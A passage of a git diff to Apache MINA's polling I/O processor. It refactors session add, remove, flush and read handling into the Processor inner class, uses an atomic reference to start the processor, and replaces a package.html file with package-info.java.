scheduled to be removed", session ); + if (!removingSessions.contains(session)) { + removingSessions.add(session); + } } /** * {@inheritDoc} */ - public final void flush(T session) { - // add the session to the queue if it's not already - // in the queue, then wake up the select() - if (session.setScheduledForFlush( true )) { - flushingSessions.add(session); - wakeup(); + @Override + public void write(S session, WriteRequest writeRequest) { + WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + + writeRequestQueue.offer(session, writeRequest); + + if (!session.isWriteSuspended()) { + this.flush(session); } } - private void scheduleFlush(T session) { + /** + * {@inheritDoc} + */ + @Override + public final void flush(S session) { // add the session to the queue if it's not already - // in the queue + // in the queue, then wake up the select() if (session.setScheduledForFlush(true)) { flushingSessions.add(session); + wakeup(); } } /** - * {@inheritDoc} + * Updates the traffic mask for a given session + * + * @param session + * the session to update */ - public final void updateTrafficMask(T session) { + public final void updateTrafficMask(S session) { trafficControllingSessions.add(session); wakeup(); } @@ -457,9 +468,12 @@ public final void updateTrafficMask(T session) { * pool. The Runnable will be renamed */ private void startupProcessor() { - synchronized (lock) { - if (processor == null) { - processor = new Processor(); + Processor processor = processorRef.get(); + + if (processor == null) { + processor = new Processor(); + + if (processorRef.compareAndSet(null, processor)) { executor.execute(new NamePreservingRunnable(processor, threadName)); } } @@ -477,213 +491,25 @@ private void startupProcessor() { * @throws IOException * If we got an exception */ - abstract protected void registerNewSelector() throws IOException; + protected abstract void registerNewSelector() throws IOException; /** * Check that the select() has not exited immediately just because of a * broken connection. In this case, this is a standard case, and we just * have to loop. * - * @return true if a connection has been brutally closed. + * @return true if a connection has been brutally closed. * @throws IOException * If we got an exception */ - abstract protected boolean isBrokenConnection() throws IOException; - - /** - * Loops over the new sessions blocking queue and returns the number of - * sessions which are effectively created - * - * @return The number of new sessions - */ - private int handleNewSessions() { - int addedSessions = 0; - - for (T session = newSessions.poll(); session != null; session = newSessions.poll()) { - if (addNow(session)) { - // A new session has been created - addedSessions++; - } - } - - return addedSessions; - } - - /** - * Process a new session : - * - initialize it - * - create its chain - * - fire the CREATED listeners if any - * - * @param session The session to create - * @return true if the session has been registered - */ - private boolean addNow(T session) { - boolean registered = false; - - try { - init(session); - registered = true; - - // Build the filter chain of this session. - IoFilterChainBuilder chainBuilder = session.getService().getFilterChainBuilder(); - chainBuilder.buildFilterChain(session.getFilterChain()); - - // DefaultIoFilterChain.CONNECT_FUTURE is cleared inside here - // in AbstractIoFilterChain.fireSessionOpened(). - // Propagate the SESSION_CREATED event up to the chain - IoServiceListenerSupport listeners = ((AbstractIoService) session.getService()).getListeners(); - listeners.fireSessionCreated(session); - } catch (Throwable e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - - try { - destroy(session); - } catch (Exception e1) { - ExceptionMonitor.getInstance().exceptionCaught(e1); - } finally { - registered = false; - } - } - - return registered; - } - - private int removeSessions() { - int removedSessions = 0; - - for (T session = removingSessions.poll();session != null;session = removingSessions.poll()) { - SessionState state = getState(session); - - // Now deal with the removal accordingly to the session's state - switch (state) { - case OPENED: - // Try to remove this session - if (removeNow(session)) { - removedSessions++; - } - - break; - - case CLOSING: - // Skip if channel is already closed - break; - - case OPENING: - // Remove session from the newSessions queue and - // remove it - newSessions.remove(session); - - if (removeNow(session)) { - removedSessions++; - } - - break; - - default: - throw new IllegalStateException(String.valueOf(state)); - } - } - - return removedSessions; - } - - private boolean removeNow(T session) { - clearWriteRequestQueue(session); - - try { - destroy(session); - return true; - } catch (Exception e) { - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireExceptionCaught(e); - } finally { - clearWriteRequestQueue(session); - ((AbstractIoService) session.getService()).getListeners() - .fireSessionDestroyed(session); - } - return false; - } - - private void clearWriteRequestQueue(T session) { - WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); - WriteRequest req; - - List failedRequests = new ArrayList(); - - if ((req = writeRequestQueue.poll(session)) != null) { - Object message = req.getMessage(); - - if (message instanceof IoBuffer) { - IoBuffer buf = (IoBuffer)message; - - // The first unwritten empty buffer must be - // forwarded to the filter chain. - if (buf.hasRemaining()) { - buf.reset(); - failedRequests.add(req); - } else { - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireMessageSent(req); - } - } else { - failedRequests.add(req); - } - - // Discard others. - while ((req = writeRequestQueue.poll(session)) != null) { - failedRequests.add(req); - } - } - - // Create an exception and notify. - if (!failedRequests.isEmpty()) { - WriteToClosedSessionException cause = new WriteToClosedSessionException( - failedRequests); - - for (WriteRequest r : failedRequests) { - session.decreaseScheduledBytesAndMessages(r); - r.getFuture().setException(cause); - } - - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireExceptionCaught(cause); - } - } - - private void process() throws Exception { - for (Iterator i = selectedSessions(); i.hasNext();) { - T session = i.next(); - process(session); - i.remove(); - } - } - - /** - * Deal with session ready for the read or write operations, or both. - */ - private void process(T session) { - // Process Reads - if (isReadable(session) && !session.isReadSuspended()) { - read(session); - } - - // Process writes - if (isWritable(session) && !session.isWriteSuspended()) { - // add the session to the queue, if it's not already there - if (session.setScheduledForFlush(true)) { - flushingSessions.add(session); - } - } - } + protected abstract boolean isBrokenConnection() throws IOException; - private void read(T session) { + private void read(S session) { IoSessionConfig config = session.getConfig(); int bufferSize = config.getReadBufferSize(); IoBuffer buf = IoBuffer.allocate(bufferSize); - final boolean hasFragmentation = session.getTransportMetadata() - .hasFragmentation(); + final boolean hasFragmentation = session.getTransportMetadata().hasFragmentation(); try { int readBytes = 0; @@ -691,17 +517,17 @@ private void read(T session) { try { if (hasFragmentation) { - + while ((ret = read(session, buf)) > 0) { readBytes += ret; - + if (!buf.hasRemaining()) { break; } } } else { ret = read(session, buf); - + if (ret > 0) { readBytes = ret; } @@ -722,18 +548,22 @@ private void read(T session) { session.increaseReadBufferSize(); } } + } else { + // release temporary buffer when read nothing + buf.free(); } if (ret < 0) { - scheduleRemove(session); + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireInputClosed(); } - } catch (Throwable e) { - if (e instanceof IOException) { - if (!(e instanceof PortUnreachableException) + } catch (Exception e) { + if ((e instanceof IOException) && + (!(e instanceof PortUnreachableException) || !AbstractDatagramSessionConfig.class.isAssignableFrom(config.getClass()) - || ((AbstractDatagramSessionConfig) config).isCloseOnPortUnreachable()) { - scheduleRemove(session); - } + || ((AbstractDatagramSessionConfig) config).isCloseOnPortUnreachable())) { + LOG.error("Exception occured while trying to read, closing session: {}", e.getMessage()); + scheduleRemove(session); } IoFilterChain filterChain = session.getFilterChain(); @@ -741,293 +571,230 @@ private void read(T session) { } } - - private static String byteArrayToHex( byte[] barray ) - { - char[] c = new char[barray.length * 2]; - int pos = 0; - - for ( byte b : barray ) - { - int bb = ( b & 0x00FF ) >> 4; - c[pos++] = ( char ) ( bb > 9 ? bb + 0x37 : bb + 0x30 ); - bb = b & 0x0F; - c[pos++] = ( char ) ( bb > 9 ? bb + 0x37 : bb + 0x30 ); - if ( pos > 60 ) - { - break; - } + /** + * {@inheritDoc} + */ + @Override + public void updateTrafficControl(S session) { + // + try { + setInterestedInRead(session, !session.isReadSuspended()); + } catch (Exception e) { + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(e); } - return new String( c ); - } - - - private void notifyIdleSessions(long currentTime) throws Exception { - // process idle sessions - if (currentTime - lastIdleCheckTime >= SELECT_TIMEOUT) { - lastIdleCheckTime = currentTime; - AbstractIoSession.notifyIdleness(allSessions(), currentTime); + try { + setInterestedInWrite(session, + !session.getWriteRequestQueue().isEmpty(session) && !session.isWriteSuspended()); + } catch (Exception e) { + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(e); } } /** - * Write all the pending messages + * The main loop. This is the place in charge to poll the Selector, and to + * process the active sessions. It's done in - handle the newly created + * sessions - */ - private void flush(long currentTime) { - if (flushingSessions.isEmpty()) { - return; - } + private class Processor implements Runnable { + /** + * {@inheritDoc} + */ + @Override + public void run() { + assert processorRef.get() == this; - do { - T session = flushingSessions.poll(); // the same one with firstSession - - if (session == null) { - // Just in case ... It should not happen. - break; - } + lastIdleCheckTime = System.currentTimeMillis(); + int nbTries = 10; - // Reset the Schedule for flush flag for this session, - // as we are flushing it now - session.unscheduledForFlush(); - - SessionState state = getState(session); + for (;;) { + try { + // This select has a timeout so that we can manage + // idle session when we get out of the select every + // second. (note : this is a hack to avoid creating + // a dedicated thread). + long t0 = System.currentTimeMillis(); + int selected = select(SELECT_TIMEOUT); + long t1 = System.currentTimeMillis(); + long delta = t1 - t0; - switch (state) { - case OPENED: - try { - boolean flushedAll = flushNow(session, currentTime); - - if (flushedAll - && !session.getWriteRequestQueue().isEmpty(session) - && !session.isScheduledForFlush()) { - scheduleFlush(session); + if (!wakeupCalled.getAndSet(false) && (selected == 0) && (delta < 100)) { + // Last chance : the select() may have been + // interrupted because we have had an closed channel. + if (isBrokenConnection()) { + LOG.warn("Broken connection"); + } else { + // Ok, we are hit by the nasty epoll + // spinning. + // Basically, there is a race condition + // which causes a closing file descriptor not to be + // considered as available as a selected channel, + // but + // it stopped the select. The next time we will + // call select(), it will exit immediately for the + // same + // reason, and do so forever, consuming 100% + // CPU. + // We have to destroy the selector, and + // register all the socket on a new one. + if (nbTries == 0) { + LOG.warn("Create a new selector. Selected is 0, delta = " + delta); + registerNewSelector(); + nbTries = 10; + } else { + nbTries--; + } } - } catch (Exception e) { - scheduleRemove(session); - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireExceptionCaught(e); + } else { + nbTries = 10; } - - break; - - case CLOSING: - // Skip if the channel is already closed. - break; - - case OPENING: - // Retry later if session is not yet fully initialized. - // (In case that Session.write() is called before addSession() - // is processed) - scheduleFlush(session); - return; - - default: - throw new IllegalStateException(String.valueOf(state)); - } + + // Manage newly created session first + if(handleNewSessions() == 0) { + // Get a chance to exit the infinite loop if there are no + // more sessions on this Processor + if (allSessionsCount() == 0) { + processorRef.set(null); - } while (!flushingSessions.isEmpty()); - } + if (newSessions.isEmpty() && isSelectorEmpty()) { + // newSessions.add() precedes startupProcessor + assert processorRef.get() != this; + break; + } - private boolean flushNow(T session, long currentTime) { - if (!session.isConnected()) { - scheduleRemove(session); - return false; - } + assert processorRef.get() != this; - final boolean hasFragmentation = session.getTransportMetadata() - .hasFragmentation(); + if (!processorRef.compareAndSet(null, this)) { + // startupProcessor won race, so must exit processor + assert processorRef.get() != this; + break; + } - final WriteRequestQueue writeRequestQueue = session - .getWriteRequestQueue(); + assert processorRef.get() == this; + } + } - // Set limitation for the number of written bytes for read-write - // fairness. I used maxReadBufferSize * 3 / 2, which yields best - // performance in my experience while not breaking fairness much. - final int maxWrittenBytes = session.getConfig().getMaxReadBufferSize() - + (session.getConfig().getMaxReadBufferSize() >>> 1); - int writtenBytes = 0; - WriteRequest req = null; - - try { - // Clear OP_WRITE - setInterestedInWrite(session, false); - - do { - // Check for pending writes. - req = session.getCurrentWriteRequest(); - - if (req == null) { - req = writeRequestQueue.poll(session); - - if (req == null) { - break; + updateTrafficMask(); + + // Now, if we have had some incoming or outgoing events, + // deal with them + if (selected > 0) { + // LOG.debug("Processing ..."); // This log hurts one of + // the MDCFilter test... + process(); } - session.setCurrentWriteRequest(req); - } - - int localWrittenBytes = 0; - Object message = req.getMessage(); - - if (message instanceof IoBuffer) { - localWrittenBytes = writeBuffer(session, req, - hasFragmentation, maxWrittenBytes - writtenBytes, - currentTime); + // Write the pending requests + long currentTime = System.currentTimeMillis(); + flush(currentTime); - if (localWrittenBytes > 0 - && ((IoBuffer) message).hasRemaining()) { - // the buffer isn't empty, we re-interest it in writing - writtenBytes += localWrittenBytes; - setInterestedInWrite(session, true); - return false; - } - } else if (message instanceof FileRegion) { - localWrittenBytes = writeFile(session, req, - hasFragmentation, maxWrittenBytes - writtenBytes, - currentTime); - - // Fix for Java bug on Linux - // http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=5103988 - // If there's still data to be written in the FileRegion, - // return 0 indicating that we need - // to pause until writing may resume. - if (localWrittenBytes > 0 - && ((FileRegion) message).getRemainingBytes() > 0) { - writtenBytes += localWrittenBytes; - setInterestedInWrite(session, true); - return false; - } - } else { - throw new IllegalStateException( - "Don't know how to handle message of type '" - + message.getClass().getName() - + "'. Are you missing a protocol encoder?"); - } - - if (localWrittenBytes == 0) { - // Kernel buffer is full. - setInterestedInWrite(session, true); - return false; - } + // Last, not least, send Idle events to the idle sessions + notifyIdleSessions(currentTime); + + // And manage removed sessions + removeSessions(); + + // Disconnect all sessions immediately if disposal has been + // requested so that we exit this loop eventually. + if (isDisposing()) { + LOG.debug( "Disposing sessions"); + boolean hasKeys = false; - writtenBytes += localWrittenBytes; + for (Iterator i = allSessions(); i.hasNext();) { + IoSession session = i.next(); - if (writtenBytes >= maxWrittenBytes) { - // Wrote too much - scheduleFlush(session); - return false; - } - } while (writtenBytes < maxWrittenBytes); - } catch (Exception e) { - if (req != null) { - req.getFuture().setException(e); - } - - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireExceptionCaught(e); - return false; - } + scheduleRemove((S) session); - return true; - } + if (session.isActive()) { + hasKeys = true; + } + } - private int writeBuffer(T session, WriteRequest req, - boolean hasFragmentation, int maxLength, long currentTime) - throws Exception { - IoBuffer buf = (IoBuffer) req.getMessage(); - int localWrittenBytes = 0; - - if (buf.hasRemaining()) { - int length; - - if (hasFragmentation) { - length = Math.min(buf.remaining(), maxLength); - } else { - length = buf.remaining(); - } - - localWrittenBytes = write(session, buf, length); - } + wakeup(); + } + } catch (ClosedSelectorException cse) { + // If the selector has been closed, we can exit the loop + // But first, dump a stack trace + ExceptionMonitor.getInstance().exceptionCaught(cse); + break; + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); - session.increaseWrittenBytes(localWrittenBytes, currentTime); - - if (!buf.hasRemaining() || !hasFragmentation && localWrittenBytes != 0) { - // Buffer has been sent, clear the current request. - int pos = buf.position(); - buf.reset(); - - fireMessageSent(session, req); - - // And set it back to its position - buf.position(pos); - } - return localWrittenBytes; - } + try { + Thread.sleep(1000); + } catch (InterruptedException e1) { + ExceptionMonitor.getInstance().exceptionCaught(e1); + } + } + } - private int writeFile(T session, WriteRequest req, - boolean hasFragmentation, int maxLength, long currentTime) - throws Exception { - int localWrittenBytes; - FileRegion region = (FileRegion) req.getMessage(); - - if (region.getRemainingBytes() > 0) { - int length; - - if (hasFragmentation) { - length = (int) Math.min(region.getRemainingBytes(), maxLength); - } else { - length = (int) Math.min(Integer.MAX_VALUE, region - .getRemainingBytes()); + try { + synchronized (disposalLock) { + if (disposing) { + doDispose(); + } + } + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } finally { + disposalFuture.setValue(true); } - - localWrittenBytes = transferFile(session, region, length); - region.update(localWrittenBytes); - } else { - localWrittenBytes = 0; } - session.increaseWrittenBytes(localWrittenBytes, currentTime); + /** + * Loops over the new sessions blocking queue and returns the number of + * sessions which are effectively created + * + * @return The number of new sessions + */ + private int handleNewSessions() { + int addedSessions = 0; + + for (S session = newSessions.poll(); session != null; session = newSessions.poll()) { + if (addNow(session)) { + // A new session has been created + addedSessions++; + } + } - if (region.getRemainingBytes() <= 0 || !hasFragmentation - && localWrittenBytes != 0) { - fireMessageSent(session, req); + return addedSessions; } - return localWrittenBytes; - } - - private void fireMessageSent(T session, WriteRequest req) { - session.setCurrentWriteRequest(null); - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireMessageSent(req); - } + private void notifyIdleSessions(long currentTime) throws Exception { + // process idle sessions + if (currentTime - lastIdleCheckTime >= SELECT_TIMEOUT) { + lastIdleCheckTime = currentTime; + AbstractIoSession.notifyIdleness(allSessions(), currentTime); + } + } - /** - * Update the trafficControl for all the session. - */ - private void updateTrafficMask() { - int queueSize = trafficControllingSessions.size(); + /** + * Update the trafficControl for all the session. + */ + private void updateTrafficMask() { + int queueSize = trafficControllingSessions.size(); - while (queueSize > 0) { - T session = trafficControllingSessions.poll(); + while (queueSize > 0) { + S session = trafficControllingSessions.poll(); - if (session == null) { - // We are done with this queue. - return; - } + if (session == null) { + // We are done with this queue. + return; + } - SessionState state = getState(session); + SessionState state = getState(session); - switch (state) { + switch (state) { case OPENED: updateTrafficControl(session); break; - + case CLOSING: break; - + case OPENING: // Retry later if session is not yet fully initialized. // (In case that Session.suspend??() or session.resume??() is @@ -1035,161 +802,439 @@ private void updateTrafficMask() { // We just put back the session at the end of the queue. trafficControllingSessions.add(session); break; - + default: throw new IllegalStateException(String.valueOf(state)); + } + + // As we have handled one session, decrement the number of + // remaining sessions. The OPENING session will be processed + // with the next select(), as the queue size has been decreased, + // even + // if the session has been pushed at the end of the queue + queueSize--; } - - // As we have handled one session, decrement the number of - // remaining sessions. The OPENING session will be processed - // with the next select(), as the queue size has been decreased, even - // if the session has been pushed at the end of the queue - queueSize--; } - } - /** - * {@inheritDoc} - */ - public void updateTrafficControl(T session) { - // - try { - setInterestedInRead(session, !session.isReadSuspended()); - } catch (Exception e) { - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireExceptionCaught(e); + /** + * Process a new session : - initialize it - create its chain - fire the + * CREATED listeners if any + * + * @param session + * The session to create + * @return true if the session has been registered + */ + private boolean addNow(S session) { + boolean registered = false; + + try { + init(session); + registered = true; + + // Build the filter chain of this session. + IoFilterChainBuilder chainBuilder = session.getService().getFilterChainBuilder(); + chainBuilder.buildFilterChain(session.getFilterChain()); + + // DefaultIoFilterChain.CONNECT_FUTURE is cleared inside here + // in AbstractIoFilterChain.fireSessionOpened(). + // Propagate the SESSION_CREATED event up to the chain + IoServiceListenerSupport listeners = ((AbstractIoService) session.getService()).getListeners(); + listeners.fireSessionCreated(session); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + + try { + destroy(session); + } catch (Exception e1) { + ExceptionMonitor.getInstance().exceptionCaught(e1); + } finally { + registered = false; + } + } + + return registered; } - try { - setInterestedInWrite(session, !session.getWriteRequestQueue() - .isEmpty(session) - && !session.isWriteSuspended()); - } catch (Exception e) { - IoFilterChain filterChain = session.getFilterChain(); - filterChain.fireExceptionCaught(e); + private int removeSessions() { + int removedSessions = 0; + + for (S session = removingSessions.poll(); session != null; session = removingSessions.poll()) { + SessionState state = getState(session); + + // Now deal with the removal accordingly to the session's state + switch (state) { + case OPENED: + // Try to remove this session + if (removeNow(session)) { + removedSessions++; + } + + break; + + case CLOSING: + // Skip if channel is already closed + // In any case, remove the session from the queue + removedSessions++; + break; + + case OPENING: + // Remove session from the newSessions queue and + // remove it + newSessions.remove(session); + + if (removeNow(session)) { + removedSessions++; + } + + break; + + default: + throw new IllegalStateException(String.valueOf(state)); + } + } + + return removedSessions; } - } - /** - * The main loop. This is the place in charge to poll the Selector, and to - * process the active sessions. It's done in - * - handle the newly created sessions - * - - */ - private class Processor implements Runnable { - public void run() { - int nSessions = 0; - lastIdleCheckTime = System.currentTimeMillis(); + /** + * Write all the pending messages + */ + private void flush(long currentTime) { + if (flushingSessions.isEmpty()) { + return; + } - for (;;) { - try { - // This select has a timeout so that we can manage - // idle session when we get out of the select every - // second. (note : this is a hack to avoid creating - // a dedicated thread). - long t0 = System.currentTimeMillis(); - int selected = select(SELECT_TIMEOUT); - long t1 = System.currentTimeMillis(); - long delta = (t1 - t0); + do { + S session = flushingSessions.poll(); // the same one with + // firstSession - if ((selected == 0) && !wakeupCalled.get() && (delta < 100)) { - // Last chance : the select() may have been - // interrupted because we have had an closed channel. - if (isBrokenConnection()) { - LOG.warn("Broken connection"); + if (session == null) { + // Just in case ... It should not happen. + break; + } - // we can reselect immediately - // set back the flag to false - wakeupCalled.getAndSet(false); + // Reset the Schedule for flush flag for this session, + // as we are flushing it now. This allows another thread + // to enqueue data to be written without corrupting the + // selector interest state. + session.unscheduledForFlush(); - continue; - } else { - LOG.warn("Create a new selector. Selected is 0, delta = " - + (t1 - t0)); - // Ok, we are hit by the nasty epoll - // spinning. - // Basically, there is a race condition - // which causes a closing file descriptor not to be - // considered as available as a selected channel, but - // it stopped the select. The next time we will - // call select(), it will exit immediately for the same - // reason, and do so forever, consuming 100% - // CPU. - // We have to destroy the selector, and - // register all the socket on a new one. - registerNewSelector(); - } + SessionState state = getState(session); - // Set back the flag to false - wakeupCalled.getAndSet(false); - - // and continue the loop - continue; + switch (state) { + case OPENED: + try { + boolean flushedAll = flushNow(session, currentTime); + + if (flushedAll && !session.getWriteRequestQueue().isEmpty(session) + && !session.isScheduledForFlush()) { + scheduleFlush(session); + } + } catch (Exception e) { + LOG.error("Exception '{}' occured while trying to flush, closing session {}", e.getMessage(), session); + scheduleRemove(session); + session.closeNow(); + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(e); } - // Manage newly created session first - nSessions += handleNewSessions(); - - updateTrafficMask(); + break; - // Now, if we have had some incoming or outgoing events, - // deal with them - if (selected > 0) { - //LOG.debug("Processing ..."); // This log hurts one of the MDCFilter test... - process(); + case CLOSING: + // Skip if the channel is already closed. + break; + + case OPENING: + // Retry later if session is not yet fully initialized. + // (In case that Session.write() is called before addSession() + // is processed) + scheduleFlush(session); + return; + + default: + throw new IllegalStateException(String.valueOf(state)); + } + + } while (!flushingSessions.isEmpty()); + } + + private boolean flushNow(S session, long currentTime) { + if (!session.isConnected()) { + scheduleRemove(session); + return false; + } + + final boolean hasFragmentation = session.getTransportMetadata().hasFragmentation(); + + final WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + + // Set limitation for the number of written bytes for read-write + // fairness. I used maxReadBufferSize * 3 / 2, which yields best + // performance in my experience while not breaking fairness much. + final int maxWrittenBytes = session.getConfig().getMaxReadBufferSize() + + (session.getConfig().getMaxReadBufferSize() >>> 1); + int writtenBytes = 0; + WriteRequest req = null; + + try { + // Clear OP_WRITE + setInterestedInWrite(session, false); + + do { + // Check for pending writes. + req = session.getCurrentWriteRequest(); + + if (req == null) { + req = writeRequestQueue.poll(session); + + if (req == null) { + break; + } + + session.setCurrentWriteRequest(req); } - // Write the pending requests - long currentTime = System.currentTimeMillis(); - flush(currentTime); - - // And manage removed sessions - nSessions -= removeSessions(); - - // Last, not least, send Idle events to the idle sessions - notifyIdleSessions(currentTime); + int localWrittenBytes; + Object message = req.getMessage(); - // Get a chance to exit the infinite loop if there are no - // more sessions on this Processor - if (nSessions == 0) { - synchronized (lock) { - if (newSessions.isEmpty() && isSelectorEmpty()) { - processor = null; - break; - } + if (message instanceof IoBuffer) { + localWrittenBytes = writeBuffer(session, req, hasFragmentation, maxWrittenBytes - writtenBytes, + currentTime); + + if ((localWrittenBytes > 0) && ((IoBuffer) message).hasRemaining()) { + // the buffer isn't empty, we re-interest it in writing + setInterestedInWrite(session, true); + + return false; + } + } else if (message instanceof FileRegion) { + localWrittenBytes = writeFile(session, req, hasFragmentation, maxWrittenBytes - writtenBytes, + currentTime); + + // Fix for Java bug on Linux + // http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=5103988 + // If there's still data to be written in the FileRegion, + // return 0 indicating that we need + // to pause until writing may resume. + if ((localWrittenBytes > 0) && (((FileRegion) message).getRemainingBytes() > 0)) { + setInterestedInWrite(session, true); + + return false; } + } else { + throw new IllegalStateException("Don't know how to handle message of type '" + + message.getClass().getName() + "'. Are you missing a protocol encoder?"); } - // Disconnect all sessions immediately if disposal has been - // requested so that we exit this loop eventually. - if (isDisposing()) { - for (Iterator i = allSessions(); i.hasNext();) { - scheduleRemove(i.next()); + if (localWrittenBytes == 0) { + + // Kernel buffer is full. + if (!req.equals(AbstractIoSession.MESSAGE_SENT_REQUEST)) { + setInterestedInWrite(session, true); + return false; + } + } else { + writtenBytes += localWrittenBytes; + + if (writtenBytes >= maxWrittenBytes) { + // Wrote too much + scheduleFlush(session); + return false; } - - wakeup(); } - } catch (Throwable t) { - ExceptionMonitor.getInstance().exceptionCaught(t); - try { - Thread.sleep(1000); - } catch (InterruptedException e1) { - ExceptionMonitor.getInstance().exceptionCaught(e1); + if (message instanceof IoBuffer) { + ((IoBuffer) message).free(); } + } while (writtenBytes < maxWrittenBytes); + } catch (Exception e) { + if (req != null) { + req.getFuture().setException(e); + } + + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(e); + return false; + } + + return true; + } + + private void scheduleFlush(S session) { + // add the session to the queue if it's not already + // in the queue + if (session.setScheduledForFlush(true)) { + flushingSessions.add(session); + } + } + + private int writeFile(S session, WriteRequest req, boolean hasFragmentation, int maxLength, long currentTime) + throws Exception { + int localWrittenBytes; + FileRegion region = (FileRegion) req.getMessage(); + + if (region.getRemainingBytes() > 0) { + int length; + + if (hasFragmentation) { + length = (int) Math.min(region.getRemainingBytes(), maxLength); + } else { + length = (int) Math.min(Integer.MAX_VALUE, region.getRemainingBytes()); + } + + localWrittenBytes = transferFile(session, region, length); + region.update(localWrittenBytes); + } else { + localWrittenBytes = 0; + } + + session.increaseWrittenBytes(localWrittenBytes, currentTime); + + if ((region.getRemainingBytes() <= 0) || (!hasFragmentation && (localWrittenBytes != 0))) { + fireMessageSent(session, req); + } + + return localWrittenBytes; + } + + private int writeBuffer(S session, WriteRequest req, boolean hasFragmentation, int maxLength, long currentTime) throws Exception { + IoBuffer buf = (IoBuffer) req.getMessage(); + int localWrittenBytes = 0; + + if (buf.hasRemaining()) { + int length; + + if (hasFragmentation) { + length = Math.min(buf.remaining(), maxLength); + } else { + length = buf.remaining(); + } + + try { + localWrittenBytes = write(session, buf, length); + } catch (IOException ioe) { + // We have had an issue while trying to send data to the + // peer : let's close the session. + LOG.error( "Error '{}' while trying to write on session {}", ioe.getMessage(), session); + buf.free(); + session.closeNow(); + this.removeNow(session); + + return 0; } + + session.increaseWrittenBytes(localWrittenBytes, currentTime); + + // Now, forward the original message if it has been fully sent + if (!buf.hasRemaining() || (!hasFragmentation && (localWrittenBytes != 0))) { + this.fireMessageSent(session, req); + } + } else { + this.fireMessageSent(session, req); } + return localWrittenBytes; + } + + private boolean removeNow(S session) { + //LOG.debug( "RemoveNow requested for session {}", session ); + clearWriteRequestQueue(session); + try { - synchronized (disposalLock) { - if (isDisposing()) { - dispose0(); + destroy(session); + return true; + } catch (Exception e) { + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(e); + } finally { + try { + ((AbstractIoService) session.getService()).getListeners().fireSessionDestroyed(session); + } catch (Exception e) { + // The session was either destroyed or not at this point. + // We do not want any exception thrown from this "cleanup" code + // to change + // the return value by bubbling up. + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(e); + } finally { + clearWriteRequestQueue(session); + } + } + + return false; + } + + private void clearWriteRequestQueue(S session) { + WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + WriteRequest req; + + List failedRequests = new ArrayList<>(); + + if ((req = writeRequestQueue.poll(session)) != null) { + Object message = req.getMessage(); + + if (message instanceof IoBuffer) { + IoBuffer buf = (IoBuffer) message; + + // The first unwritten empty buffer must be + // forwarded to the filter chain. + if (buf.hasRemaining()) { + failedRequests.add(req); + } else { + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireMessageSent(req); } + } else { + failedRequests.add(req); } - } catch (Throwable t) { - ExceptionMonitor.getInstance().exceptionCaught(t); - } finally { - disposalFuture.setValue(true); + + // Discard others. + while ((req = writeRequestQueue.poll(session)) != null) { + failedRequests.add(req); + } + } + + // Create an exception and notify. + if (!failedRequests.isEmpty()) { + WriteToClosedSessionException cause = new WriteToClosedSessionException(failedRequests); + + for (WriteRequest r : failedRequests) { + session.decreaseScheduledBytesAndMessages(r); + r.getFuture().setException(cause); + } + + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireExceptionCaught(cause); + } + } + + private void fireMessageSent(S session, WriteRequest req) { + session.setCurrentWriteRequest(null); + IoFilterChain filterChain = session.getFilterChain(); + filterChain.fireMessageSent(req); + } + + private void process() throws Exception { + for (Iterator i = selectedSessions(); i.hasNext();) { + S session = i.next(); + process(session); + i.remove(); + } + } + + /** + * Deal with session ready for the read or write operations, or both. + */ + private void process(S session) { + // Process Reads + if (isReadable(session) && !session.isReadSuspended()) { + read(session); + } + + // Process writes + if (isWritable(session) && !session.isWriteSuspended() && session.setScheduledForFlush(true)) { + // add the session to the queue, if it's not already there + flushingSessions.add(session); } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/polling/package-info.java b/mina-core/src/main/java/org/apache/mina/core/polling/package-info.java new file mode 100644 index 0000000000..cd617d5536 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/polling/package-info.java @@ -0,0 +1,28 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Base class for implementing transport based on active polling strategies like NIO select call, + * or any API based on I/O polling system calls (epoll, poll, select, kqueue, etc). Know + * implementations are org.apache.mina.transport.socket.nio and org.apache.mina.transport.socket.apr. + * + * @author Apache MINA Project + */ +package org.apache.mina.core.polling; diff --git a/mina-core/src/main/java/org/apache/mina/core/polling/package.html b/mina-core/src/main/java/org/apache/mina/core/polling/package.html deleted file mode 100644 index 114c3bd6eb..0000000000 --- a/mina-core/src/main/java/org/apache/mina/core/polling/package.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - -Base class for implementing transport based on active polling strategies like NIO select call, or any API -based on I/O polling system calls (epoll, poll, select, kqueue, 